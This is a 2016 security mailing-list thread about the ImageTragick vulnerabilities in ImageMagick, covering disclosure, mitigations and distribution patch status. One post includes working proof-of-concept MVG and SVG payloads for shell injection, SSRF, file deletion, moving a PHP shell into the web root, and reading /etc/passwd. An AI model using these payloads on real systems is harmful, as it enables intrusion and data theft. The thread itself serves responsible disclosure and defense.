Discussion:
ImageMagick Is On Fire -- CVE-2016-3714
(too old to reply)
Ryan Huber
2016-05-03 17:59:12 UTC
Permalink
There are multiple vulnerabilities in ImageMagick, a package commonly
used by web services to process images. One of the vulnerabilities can
lead to remote code execution (RCE) if you process user submitted
images. The exploit for this vulnerability is being used in the wild.

A number of image processing plugins depend on the ImageMagick
library, including, but not limited to, PHP's imagick, Ruby's rmagick
and paperclip, and nodejs's imagemagick.

If you use ImageMagick or an affected library, we recommend you
mitigate the known vulnerabilities by doing at least one these two
things (but preferably both!):

1. Verify that all image files begin with the expected "magic bytes"
corresponding to the image file types you support before sending them
to ImageMagick for processing. (see FAQ for more info)

2. Use a policy file to disable the vulnerable ImageMagick coders. The
global policy for ImageMagick is usually found in "/etc/ImageMagick".
This policy.xml example will disable the coders EPHEMERAL, URL, MVG,
and MSL.

Github Gist showing an example policy file:
https://gist.github.com/rawdigits/d73312d21c8584590783a5e07e124723

FAQ

Who found this bug?

Stewie (https://hackerone.com/stewie) found the initial bug, and
Nikolay Ermishkin (https://twitter.com/__sl1m) from the Mail.Ru
Security Team found additional issues, including the RCE.

Will you share the exploit with me?

No. We would like to give people a chance to patch before it is more
widely available. The exploit is trivial, so we expect it to be
available within hours of this post. Updates and PoC will eventually
be available here.

Are patches available?

Yes, but they appear to be incomplete. Everyone would have preferred
to wait for patches before disclosing, but working exploits are
readily available.

What are "magic bytes"?

The first few bytes of a file can often used to identify the type of
file. Some examples are GIF images, which start with the hex bytes "47
49 46 38", and JPEG images, which start with "FF D8". This list on
Wikipedia has the magic bytes for most common file types.

Why are you disclosing a vulnerability like this?

We have collectively determined that these vulnerabilities are
available to individuals other than the person(s) who discovered them.
An unknowable number of people having access to these vulnerabilities
makes this a critical issue for everyone using this software.
ImageMagick also disclosed this on their forum a few hours ago.

How well-tested are these mitigations?

They are effective against all of the exploit samples we've seen, but
we cannot guarantee they will eliminate all vectors of attack.

Are there other ways to mitigate?

Sandboxing ImageMagick is worth investigating, but we are not
providing specific instructions for doing this.

What else should I know?

We did not find this vulnerability ourselves. We understand the
mechanisms involved, but credit for finding this vulnerability should
go to the researcher(s).

Vulnerabilities need names! What is its name??!?

If you must, we've been calling it "ImageTragick".

How can I contact you?

***@gmail.com
--
Ryan Huber
***@gmail.com
@ryanhuber
https://github.com/rawdigits
+1 (312) 380 6136
Solar Designer
2016-05-03 18:15:05 UTC
Permalink
Thank you for bringing this in here, Ryan.
Post by Ryan Huber
What are "magic bytes"?
The first few bytes of a file can often used to identify the type of
file. Some examples are GIF images, which start with the hex bytes "47
49 46 38", and JPEG images, which start with "FF D8". This list on
Wikipedia has the magic bytes for most common file types.
It may be preferable to refer to ImageMagick's own list of magics.
HD Moore tweeted the relevant links:

<hdmoore> Two reasons you probably shouldn't be using ImageMagick in your web applications: https://github.com/ImageMagick/ImageMagick/blob/8c9d68ca4241b6faafa7a35658a125c3500a5edf/MagickCore/magic.c#L89 & https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/www/source/delegates.xml#L62
<hdmoore> ImageTragick: Upload(meme.png)->(IM detects non-png format based on file magic)->(IM uses insecure delegates to decode)->Shells!
Post by Ryan Huber
ImageMagick also disclosed this on their forum a few hours ago.
https://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=29588

Alexander
Karim Valiev
2016-05-03 22:38:49 UTC
Permalink
The exploit was posted at Hacker News comments thread, so it's time to
disclose the full story.

Nikolay Ermishkin from the Mail.Ru Security Team discovered several
vulnerabilities in ImageMagick.
We've reported these issues to developers of ImageMagick and they made a
fix for RCE in sources and released new version (6.9.3-9 released
2016-04-30 http://legacy.imagemagick.org/script/changelog.php), but this
fix seems to be incomplete. We are still working with developers.

ImageMagick: Multiple vulnerabilities in image decoder

1. CVE-2016-3714 - Insufficient shell characters filtering leads to
(potentially remote) code execution

Insufficient filtering for filename passed to delegate's command allows
remote code execution during conversion of several file formats.

ImageMagick allows to process files with external libraries. This
feature is called 'delegate'. It is implemented as a system() with
command string ('command') from the config file delegates.xml with
actual value for different params (input/output filenames etc). Due to
insufficient %M param filtering it is possible to conduct shell command
injection. One of the default delegate's command is used to handle https
requests:
"wget" -q -O "%o" "https:%M"
where %M is the actual link from the input. It is possible to pass the
value like `https://example.com"|ls "-la` and execute unexpected 'ls
-la'. (wget or curl should be installed)

$ convert 'https://example.com"|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...


The most dangerous part is ImageMagick supports several formats like
svg, mvg (thanks to https://hackerone.com/stewie for his research of
this file format and idea of the local file read vulnerability in
ImageMagick, see below), maybe some others - which allow to include
external files from any supported protocol including delegates. As a
result, any service, which uses ImageMagick to process user supplied
images and uses default delegates.xml / policy.xml, may be vulnerable to
this issue.

exploit.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(Loading Image..."|ls "-la)'
pop graphic-context

exploit.svg
-=-=-=-=-=-=-=-=-
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...

ImageMagick tries to guess the type of the file by it's content, so
exploitation doesn't depend on the file extension. You can rename
exploit.mvg to exploit.jpg or exploit.png to bypass file type checks. In
addition, ImageMagick's tool 'identify' is also vulnerable, so it can't
be used as a protection to filter file by it's content and creates
additional attack vectors (e.g. via 'less exploit.jpg', because
'identify' is invoked via lesspipe.sh).
Ubuntu 14.04 and OS X, latest system packages (ImageMagick 6.9.3-7 Q16
x86_64 2016-04-27 and ImageMagick 6.8.6-10 2016-04-29 Q16) and latest
sources from 6 and 7 branches all are vulnerable. Ghostscript and wget
(or curl) should be installed on the system for successful PoC
execution. For svg PoC ImageMagick's svg parser should be used, not rsvg.

All other issues also rely on dangerous ImageMagick feature of external
files inclusion from any supported protocol in formats like svg and mvg.

2. CVE-2016-3718 - SSRF
It is possible to make HTTP GET or FTP request:

ssrf.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

$ convert ssrf.mvg out.png # makes http request to example.com

3. CVE-2016-3715 - File deletion
It is possible to delete files by using ImageMagick's 'ephemeral' pseudo
protocol which deletes files after reading:

delete_file.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context

$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # deletes /tmp/delete.txt

4. CVE-2016-3716 - File moving
It is possible to move image files to file with any extension in any
folder by using ImageMagick's 'msl' pseudo protocol. msl.txt and
image.gif should exist in known location - /tmp/ for PoC (in real life
it may be web service written in PHP, which allows to upload raw txt
files and process images with ImageMagick):

file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context

/tmp/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>

/tmp/image.gif - image with php shell inside
(Loading Image... for example)

$ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php

5. CVE-2016-3717 - Local file read (independently reported by original
research author - https://hackerone.com/stewie)
It is possible to get content of the files from the server by using
ImageMagick's 'label' pseudo protocol:

file_read.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

$ convert file_read.mvg out.png # produces file with text rendered from
/etc/passwd


How to mitigate the vulnerability.

Available patches appear to be incomplete.
If you use ImageMagick or an affected library, we recommend you mitigate
the known vulnerabilities by doing at least one these two things (but
preferably both!):
1. Verify that all image files begin with the expected “magic bytes”
corresponding to the image file types you support before sending them to
ImageMagick for processing. (see FAQ for more info)
2. Use a policy file to disable the vulnerable ImageMagick coders. The
global policy for ImageMagick is usually found in “/etc/ImageMagick”.
This policy.xml example will disable the coders EPHEMERAL, URL, MVG, and
MSL:

<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>


Vulnerability Disclosure Timeline:
April, 21 2016 - file read vulnerability report for one of My.Com
services from https://hackerone.com/stewie received by Mail.Ru Security
Team. Issue is reportedly known to ImageMagic team.
April, 21 2016 - file read vulnerability patched by My.Com development team
April, 28 2016 - code execution vulnerability in ImageMagick was found
by Nikolay Ermishkin from Mail.Ru Security Team while researching
original report
April, 30 2016 - code execution vulnerability reported to ImageMagick
development team
April, 30 2016 - code execution vulnerability fixed by ImageMagick
(incomplete fix)
April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix)
May, 1 2016 - ImageMagic informed of the fix bypass
May, 2 2016 - limited disclosure to 'distros' mailing list
May, 3 2016 - public disclosure at https://imagetragick.com/
--
Karim Valiev
Mail.Ru Security Team
Post by Solar Designer
Thank you for bringing this in here, Ryan.
Post by Ryan Huber
What are "magic bytes"?
The first few bytes of a file can often used to identify the type of
file. Some examples are GIF images, which start with the hex bytes "47
49 46 38", and JPEG images, which start with "FF D8". This list on
Wikipedia has the magic bytes for most common file types.
It may be preferable to refer to ImageMagick's own list of magics.
<hdmoore> Two reasons you probably shouldn't be using ImageMagick in your web applications: https://github.com/ImageMagick/ImageMagick/blob/8c9d68ca4241b6faafa7a35658a125c3500a5edf/MagickCore/magic.c#L89 & https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/www/source/delegates.xml#L62
<hdmoore> ImageTragick: Upload(meme.png)->(IM detects non-png format based on file magic)->(IM uses insecure delegates to decode)->Shells!
Post by Ryan Huber
ImageMagick also disclosed this on their forum a few hours ago.
https://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=29588
Alexander
Seth Arnold
2016-05-03 23:26:37 UTC
Permalink
Post by Karim Valiev
The exploit was posted at Hacker News comments thread, so it's time to
disclose the full story.
Thanks for this; here's the bulk of my reply to the distros@ list yesterday:

========

[...] I see attempts in the source code to apply
whitelists to allowed characters:

http://git.imagemagick.org/repos/ImageMagick/commit/06c41aba39b97203f6b9a0be6a2ccf8888cddc93

"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_- "
".@&;<>()/\\\'\":%=~`";

followed several days later by:

http://git.imagemagick.org/repos/ImageMagick/commit/a347456a1ef3b900c20402f9866992a17eb5d181

"^-ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
"+&@#/%?=~_|!:,.;()";

The ; and | entries make me think they haven't actually thought this
thing through in any real way yet. Shellshock showed that e.g. () may
look harmless enough without the $ but it is also dangerous. I think it's
probably a mistake to try to whitelist filter input in this fashion and
try to continue on in the case of failure. Error out in the case of
oddball inputs.

Another approach is to quote inputs following Florian Weimer's advice:
http://www.openwall.com/lists/oss-security/2014/02/04/7

return "'" + s.replace("'"', r"'\''") + "'"

(In Python, but the idea should translate well.)

Or, generate the filenames to contain only safe chars. (See mkstemp(3),
the function already exists.)

Or, replace the strings with arrays and use execve() instead of system().

Or, scrap the entire delegates.xml idea, it seems like a strange thing to
bolt on to the side of the image processing toolkit.

========

Thanks
Tim
2016-05-03 23:51:10 UTC
Permalink
Post by Seth Arnold
Or, replace the strings with arrays and use execve() instead of system().
^^^

That.

system() should be taken out into the street and shot. There's just
no good reason for a respectable programmer to use it.

Not saying that's the *only* thing they would need to do, but we need
to encourage development platforms, in general, to stop offering up
awful interfaces like this. Heck, Node.js offers a child_process.exec()
call that isn't exec at all. It is (approximately) system(). Surely
that won't lead to any problems...

tim
Seth Arnold
2016-05-04 01:00:39 UTC
Permalink
is it appropriate to ask if the same issues are present in GraphicsMagick
as well?
I haven't investigated deeply but it seems very plausible to me:
Here's the delegates.xml work-alike:
https://sourceforge.net/p/graphicsmagick/code/ci/default/tree/config/delegates.mgk.in

This appears to be executed via:
https://sourceforge.net/p/graphicsmagick/code/ci/default/tree/magick/delegate.c
which tries to escape arguments using UnixShellTextEscape(). This function
appears to replace \`"$ chars with backslash-escaped versions. I'm not
sure this is a safe mechanism either.

Thanks
Bob Friesenhahn
2016-05-04 01:42:30 UTC
Permalink
Post by Seth Arnold
is it appropriate to ask if the same issues are present in GraphicsMagick
as well?
https://sourceforge.net/p/graphicsmagick/code/ci/default/tree/config/delegates.mgk.in
https://sourceforge.net/p/graphicsmagick/code/ci/default/tree/magick/delegate.c
which tries to escape arguments using UnixShellTextEscape(). This function
appears to replace \`"$ chars with backslash-escaped versions. I'm not
sure this is a safe mechanism either.
Please provide me with a working exploit.

Be aware that this quoting method is only used for the few
delegates.mgk rules which require shell-like syntax to work.
Otherwise the external program is run using execvp() without a shell.

I am aware that the handling for Microsoft Windows is not quite secure
and in fact Windows concatentates all the spawnvp() vector arguments
into one long string and each program parses command line arguments
using its own algorithm without a secure quoting mechanism so
command-line programs can never possibly be secured.

In order to achieve the best security with GraphicsMagick (with some
possible loss of function due to missing file formats), please define
this environment variable:

MAGICK_CODER_STABILITY=PRIMARY

Use 'gm convert -list formats' and check the second column of output
to see what formats are classified as Primary, Stable, and Unstable.
Primary formats are considered common and trustworthy.

There is also a way that C/C++ programs using the libraries can bless
the files which will be accessed before the access occurs (not yet
controlled by a configuration file).

Thanks,

Bob
--
Bob Friesenhahn
***@simple.dallas.tx.us, http://www.simplesystems.org/users/bfriesen/
GraphicsMagick Maintainer, http://www.GraphicsMagick.org/
Seth Arnold
2016-05-04 04:01:43 UTC
Permalink
Post by Bob Friesenhahn
Post by Seth Arnold
https://sourceforge.net/p/graphicsmagick/code/ci/default/tree/magick/delegate.c
which tries to escape arguments using UnixShellTextEscape(). This function
appears to replace \`"$ chars with backslash-escaped versions. I'm not
sure this is a safe mechanism either.
Please provide me with a working exploit.
Sorry, exploits aren't my strong suite.

Shells are crazy things though -- | & || && and ; make it easy to execute
additional commands. * ? {} and [] make it easy to turn "single" arguments
into many arguments or get forbidden characters from the filesystem into
the command line anyway. - can change behaviours of called programs. etc etc.
Post by Bob Friesenhahn
Be aware that this quoting method is only used for the few delegates.mgk
rules which require shell-like syntax to work. Otherwise the external
program is run using execvp() without a shell.
Now this I love to hear. execve() makes me happy.

Thanks
Bob Friesenhahn
2016-05-19 17:07:16 UTC
Permalink
I find it very disturbing that there seems to be very little response
from popular OS distributions to this issue. Most do not appear to
have issued any package updates to close the shell exploit. Perhaps
the opinion is that major new versions will be introduced as part of
major distribution releases and it is ok for users to exposed to
problems for two or three years.

As an example Ubuntu 14.04.4 LTS (which is supposed to be getting
security updates) has not provided ImageMagick or GraphicsMagick
package updates in 3 years.

Even NebBSD pkgsrc does not appear to have created a new version to
address the "ImageTragick" issues.

What is the point of security notices and advisories if there is no
response from the community to provide updates to protect the majority
of their users (who are using 'stable' releases) from the problems?

Bob
--
Bob Friesenhahn
***@simple.dallas.tx.us, http://www.simplesystems.org/users/bfriesen/
GraphicsMagick Maintainer, http://www.GraphicsMagick.org/
Jeremy Stanley
2016-05-19 17:18:36 UTC
Permalink
Post by Bob Friesenhahn
I find it very disturbing that there seems to be very little
response from popular OS distributions to this issue. Most do not
appear to have issued any package updates to close the shell
exploit.
[...]
Post by Bob Friesenhahn
As an example Ubuntu 14.04.4 LTS (which is supposed to be getting
security updates) has not provided ImageMagick or GraphicsMagick
package updates in 3 years.
[...]

Seems to be in progress? https://launchpad.net/bugs/1578398
--
Jeremy Stanley
Bob Friesenhahn
2016-05-19 17:42:24 UTC
Permalink
Post by Jeremy Stanley
Post by Bob Friesenhahn
As an example Ubuntu 14.04.4 LTS (which is supposed to be getting
security updates) has not provided ImageMagick or GraphicsMagick
package updates in 3 years.
[...]
Seems to be in progress? https://launchpad.net/bugs/1578398
That is good to hear.

OS distribution response seems to be good for software like ISC named
and OpenSSH but seems to be very poor for this trivial shell-exploit
issue which impacts a great many (perhaps more than a million) Linux,
*BSD, Solaris, and OS-X users. Perhaps this is because the developers
of such packages are used to providing advance notice and a
well-formed response and distribution maintainers are practiced and
ready.

Most people using a graphical desktop (e.g Gnome and KDE) are exposed
to the issue since ImageMagick (and often GraphicsMagick) is a common
dependency and clicking on a file in a graphical file manager (or
delivered as an email attachment) is likely to expose the user to the
problem. Servers processing uploaded images are exposed to the issue
but server applications often take additional precautions which might
protect from the problem. Desktop users are entirely exposed.

Bob
--
Bob Friesenhahn
***@simple.dallas.tx.us, http://www.simplesystems.org/users/bfriesen/
GraphicsMagick Maintainer, http://www.GraphicsMagick.org/
Kurt Seifried
2016-05-19 18:25:09 UTC
Permalink
Without making a commercial pitch for the company I work ... I suspect one
aspect of other vendors not fixing this is that there is a very
simple/effective/verifiable workaround to prevent exploitation of this, and
even with vendor updates I would still suggest using the workaround, after
reading the MVG docs it seems to much like flash to ever be "safe" (also in
a web app world I can't imagine a normal use case for people uploading MVG
files).

On Thu, May 19, 2016 at 11:07 AM, Bob Friesenhahn <
I find it very disturbing that there seems to be very little response from
popular OS distributions to this issue. Most do not appear to have issued
any package updates to close the shell exploit. Perhaps
the opinion is that major new versions will be introduced as part of major
distribution releases and it is ok for users to exposed to problems for two
or three years.
As an example Ubuntu 14.04.4 LTS (which is supposed to be getting security
updates) has not provided ImageMagick or GraphicsMagick package updates in
3 years.
Even NebBSD pkgsrc does not appear to have created a new version to
address the "ImageTragick" issues.
What is the point of security notices and advisories if there is no
response from the community to provide updates to protect the majority of
their users (who are using 'stable' releases) from the problems?
Bob
--
Bob Friesenhahn
GraphicsMagick Maintainer, http://www.GraphicsMagick.org/
--
--
Kurt Seifried -- Red Hat -- Product Security -- Cloud
PGP A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993
Red Hat Product Security contact: ***@redhat.com
Simon McVittie
2016-05-19 19:00:37 UTC
Permalink
Post by Kurt Seifried
Without making a commercial pitch for the company I work ... I suspect one
aspect of other vendors not fixing this is that there is a very
simple/effective/verifiable workaround to prevent exploitation of this
Having looked into it a bit for Debian, there are several factors:

* mitigations exist, like you said

* many of the upstream fixes in ImageMagick are not clearly separated
from random other changes (I found one in a commit labelled
"Update to the latest autoconf / automake"!)

* many of the upstream fixes in ImageMagick (and GraphicsMagick)
are really just mitigations too, and they remove features that someone
could conceivably have been using, which rather goes against the idea
of a stable release with a fixed feature-set
(yes, I realise some of those features cannot be done securely)

* there are a large number of other issues found via fuzzing, in coders
for miscellaneous formats that you'll probably never see "in the wild",
which could conceivably also be security vulnerabilities but probably
aren't feasible to backport to old releases

Bob, if you would like distributions to pick up GraphicsMagick security
fixes in a timely way, it would probably be really useful to do an
upstream release - distributions are typically a lot more confident about
backporting large changes to their stable branches without regressions
if they've been able to get some testing on the same changes in their
unstable branches first.

S
Bob Friesenhahn
2016-05-19 19:51:58 UTC
Permalink
Post by Simon McVittie
* mitigations exist, like you said
The problem is that most users don't know about the problem, the
mitigations, or are even aware that they are using the software.
They do know about periodic application of security updates.

Regarding the comments from Kurt Seifried about the supposed perils of
MVG:

Unless ImageMagick is configured to use RSVG (as it often is), then it
will use its own built in SVG renderer by default (the built in one is
still available with a "MSVG:" prefix to the filename or possibly the
file extension). The SVG renderer operates by translating the SVG
into MVG, including the URLs. The translation is not secure in that
arbitrary MVG may be injected via SVG through text strings. SVG is a
common file exchange format found on the web and often opened outside
of web browsers.
Post by Simon McVittie
* many of the upstream fixes in ImageMagick (and GraphicsMagick)
are really just mitigations too, and they remove features that someone
could conceivably have been using, which rather goes against the idea
of a stable release with a fixed feature-set
Agreed.
Post by Simon McVittie
Bob, if you would like distributions to pick up GraphicsMagick security
fixes in a timely way, it would probably be really useful to do an
upstream release - distributions are typically a lot more confident about
I do plan to make a release, but want to make sure that the release is
of no less quality than other releases. I want to remove the current
render/MVG "mitigation" regarding magick-specific syntax and provide a
"safer" operating mode which protects against magick-specific syntax
when it is used for formats with expected behavior like SVG. The
"safer" mode may have general purpose value outside of MVG.

Bob
--
Bob Friesenhahn
***@simple.dallas.tx.us, http://www.simplesystems.org/users/bfriesen/
GraphicsMagick Maintainer, http://www.GraphicsMagick.org/
John Lightsey
2016-05-19 21:27:09 UTC
Permalink
Post by Simon McVittie
Bob, if you would like distributions to pick up GraphicsMagick security
fixes in a timely way, it would probably be really useful to do an
upstream release - distributions are typically a lot more confident about
backporting large changes to their stable branches without regressions
if they've been able to get some testing on the same changes in their
unstable branches first.
I spent quite a bit of time looking at the ImageMagick, GraphicsMagick,
RedHat and Debian changes trying to piece together a proper list of
flaws to fix through backporting and policy file changes.

I also spent some time looking at the remaining delegates trying to
figure out which will have near-identical flaws to the issues that have
already been fixed.

This is the list I'm working off of. For RedHat and Debian, I only
checked the ImageMagick updates.

CVE-2016–3714 - RCE via shell characters in delegate invocation.
ImageMagick: Fixed
GraphicsMagick: Not vulnerable
RedHat: Fixed
Debian: Fixed

CVE-2016-3718 - SSRF via HTTP and FTP coders
ImageMagick: Not fixed
GraphicsMagick: Not fixed
RedHat: Fixed
Debian: Fixed

CVE-2016-3715 - File deletion via EPHEMERAL coder
ImageMagick: Fixed
GraphicsMagick: Fixed
RedHat: Fixed
Debian: Fixed

CVE-2016-3716 - File move via MSL coder
ImageMagick: Fixed
GraphicsMagick: Fixed
RedHat: Fixed
Debian: Fixed

CVE-2016-3717 - File read via LABEL coder
ImageMagick: Not fixed?
GraphicsMagick: Not fixed?
RedHat: Fixed
Debian: Fixed

No CVE assigned - Heap overflow in PICT parser
ImageMagick: Fixed
GraphicsMagick: ??
RedHat: Not fixed
Debian: Not fixed
Reference: http://www.openwall.com/lists/oss-security/2016/05/11/3

No CVE assigned - Out of bounds read in the PSD parser
ImageMagick: Fixed
GraphicsMagick: ??
RedHat: Not fixed
Debian: Not fixed
Reference: http://www.openwall.com/lists/oss-security/2016/05/11/3

No CVE assigned - RCE via gnuplot delegate
ImageMagick: Fixed
GraphicsMagick: Fixed
RedHat: Not fixed
Debian: Fixed
Reference: http://www.openwall.com/lists/oss-security/2016/05/09/1

No CVE assigned - File read via man delegate
ImageMagick: Fixed
GraphicsMagick: Fixed
RedHat: Not fixed
Debian: Not fixed
Reference:
https://sourceforge.net/p/graphicsmagick/mailman/message/35072963/

The core problems brought up in CVE-2016-3718 and CVE-2016-3717 haven't
been fully addressed anywhere.

It's trivial to generate SSRF payloads for the formats processed through
html2ps and soffice. I'd also expect that SSRF is normal behavior for
uniconvertor, and RCE is normal behavior for blender and povray, but I
haven't verified.

If those are all counted separately...

No CVE assigned - SSRF via html2ps delegates
ImageMagick: Not fixed
GraphicsMagick: Not fixed
RedHat: Not fixed
Debian: Not fixed

No CVE assigned - SSRF via soffice delegates
ImageMagick: Not fixed
GraphicsMagick: Not vulnerable
RedHat: Not fixed
Debian: Not fixed

No CVE assigned - (assumed) SSRF via uniconvertor delegates
ImageMagick: Not fixed
GraphicsMagick: Not vulnerable
RedHat: Not fixed
Debian: Not fixed

No CVE assigned - (assumed) RCE via blender delegate
ImageMagick: Not fixed
GraphicsMagick: Not vulnerable
RedHat: Not fixed
Debian: Not fixed

No CVE assigned - (assumed) RCE via povray delegate
ImageMagick: Fixed
GraphicsMagick: Fixed
RedHat: Not fixed
Debian: Not fixed

Are there other formats that are unsafe and should be removed using the
policy configuration files?
Bob Friesenhahn
2016-05-20 13:52:31 UTC
Permalink
Post by John Lightsey
This is the list I'm working off of. For RedHat and Debian, I only
checked the ImageMagick updates.
CVE-2016-3718 - SSRF via HTTP and FTP coders
ImageMagick: Not fixed
GraphicsMagick: Not fixed
RedHat: Fixed
Debian: Fixed
The above topic is worthy of discussion. What is a security issue in
some contexts is normal and necessary in others.
Post by John Lightsey
No CVE assigned - Heap overflow in PICT parser
ImageMagick: Fixed
GraphicsMagick: ??
RedHat: Not fixed
Debian: Not fixed
Reference: http://www.openwall.com/lists/oss-security/2016/05/11/3
The GraphicsMagick development code is not vulnerable to this one.
GraphicsMagick may have been vulnerable in the past.
Post by John Lightsey
No CVE assigned - Out of bounds read in the PSD parser
ImageMagick: Fixed
GraphicsMagick: ??
RedHat: Not fixed
Debian: Not fixed
Reference: http://www.openwall.com/lists/oss-security/2016/05/11/3
The GraphicsMagick development code is not vulnerable to this one.
GraphicsMagick may have been vulnerable in the past.
Post by John Lightsey
Are there other formats that are unsafe and should be removed using the
policy configuration files?
In interest of full-disclosure, the GraphicsMagick project has fixed
approximately 45 CVE-worthy issues since the last release, not
including issues covered by CVE-2016-2317 and CVE-2016-2318 (which are
fixed in the development code). Many of the test files are published
in full open view on bug trackers or other places.

In a similar time-frame, the ImageMagick project has been provided a
great many files (likely more than 100) which crash the software and
many of these files are published in full open view on bug trackers or
other places. Commits and other records show that problems are being
fixed.

When fixed versions are released, OS distributions which continue to
provide 3-year old releases are exposing users to releases with
perhaps hundreds of fixed vulnerabilities which can be triggered using
publically available files.

Bob
--
Bob Friesenhahn
***@simple.dallas.tx.us, http://www.simplesystems.org/users/bfriesen/
GraphicsMagick Maintainer, http://www.GraphicsMagick.org/
Simon Lees
2016-05-20 23:01:23 UTC
Permalink
Post by Bob Friesenhahn
Post by John Lightsey
This is the list I'm working off of. For RedHat and Debian, I only
checked the ImageMagick updates.
CVE-2016-3718 - SSRF via HTTP and FTP coders
ImageMagick: Not fixed
GraphicsMagick: Not fixed
RedHat: Fixed
Debian: Fixed
The above topic is worthy of discussion. What is a security issue in
some contexts is normal and necessary in others.
Post by John Lightsey
No CVE assigned - Heap overflow in PICT parser
ImageMagick: Fixed
GraphicsMagick: ??
RedHat: Not fixed
Debian: Not fixed
Reference: http://www.openwall.com/lists/oss-security/2016/05/11/3
The GraphicsMagick development code is not vulnerable to this one.
GraphicsMagick may have been vulnerable in the past.
Post by John Lightsey
No CVE assigned - Out of bounds read in the PSD parser
ImageMagick: Fixed
GraphicsMagick: ??
RedHat: Not fixed
Debian: Not fixed
Reference: http://www.openwall.com/lists/oss-security/2016/05/11/3
The GraphicsMagick development code is not vulnerable to this one.
GraphicsMagick may have been vulnerable in the past.
Post by John Lightsey
Are there other formats that are unsafe and should be removed using the
policy configuration files?
In interest of full-disclosure, the GraphicsMagick project has fixed
approximately 45 CVE-worthy issues since the last release, not including
issues covered by CVE-2016-2317 and CVE-2016-2318 (which are fixed in
the development code). Many of the test files are published in full
open view on bug trackers or other places.
In a similar time-frame, the ImageMagick project has been provided a
great many files (likely more than 100) which crash the software and
many of these files are published in full open view on bug trackers or
other places. Commits and other records show that problems are being
fixed.
When fixed versions are released, OS distributions which continue to
provide 3-year old releases are exposing users to releases with perhaps
hundreds of fixed vulnerabilities which can be triggered using
publically available files.
Bob
Some distro's have customers that pay them to have the 3 year old
version with only fixes to bugs as they wish to reduce the chance of
breakage. I must thank you the email you published with the list of
issues and there corresponding patches made it much much easier to
address the issues in GraphicsMagick then it was for ImageMagick.
--
Simon Lees (Simotek) http://simotek.net

Emergency Update Team keybase.io/simotek
SUSE Linux Adeliade Australia, UTC+9:30
GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B
Thomas Klausner
2016-05-19 20:53:20 UTC
Permalink
Even NebBSD pkgsrc does not appear to have created a new version to address
the "ImageTragick" issues.
Since you mention it explicitly:

Updated graphics/ImageMagick to 7.0.1.3 [adam 2016-05-10]
http://cvsweb.netbsd.org/bsdweb.cgi/pkgsrc/graphics/ImageMagick/?only_with_tag=MAIN

Thomas
Sven Kieske
2016-05-20 12:54:45 UTC
Permalink
Post by Bob Friesenhahn
As an example Ubuntu 14.04.4 LTS (which is supposed to be getting
security updates) has not provided ImageMagick or GraphicsMagick
package updates in 3 years.
Hi,

as you can see here:

http://packages.ubuntu.com/trusty/graphicsmagick

GM in Ubuntu resides in the "universe" repository

When you read up about "universe" here:

https://help.ubuntu.com/community/Repositories/Ubuntu

you will see that:

"Universe - Community maintained software, i.e. not officially supported
software."

which means all software from universe is _not_ officially supported
by canonical and thus receives only timely updates, if a community
member picks up the necessary work.

Too also quote from https://wiki.ubuntu.com/LTS

"The LTS designation applies only to specific subsets of the Ubuntu
archive."

See also this (german) article about packages which do not
get security updates in Ubuntu "LTS" releases, because they are
only community maintained:

http://www.heise.de/ct/artikel/Ubuntu-LTS-Langzeitpflege-gibt-es-nur-fuer-das-Wichtigste-3179960.html

There is also a command line tool to find out about unsupported
packages:

ubuntu-support-status --show-unsupported


HTH
--
Mit freundlichen Grüßen / Regards

Sven Kieske

Systemadministrator
Mittwald CM Service GmbH & Co. KG
Königsberger Straße 6
32339 Espelkamp
T: +495772 293100
F: +495772 293333
https://www.mittwald.de
Geschäftsführer: Robert Meyer
St.Nr.: 331/5721/1033, USt-IdNr.: DE814773217, HRA 6640, AG Bad Oeynhausen
Komplementärin: Robert Meyer Verwaltungs GmbH, HRB 13260, AG Bad Oeynhausen
Loading...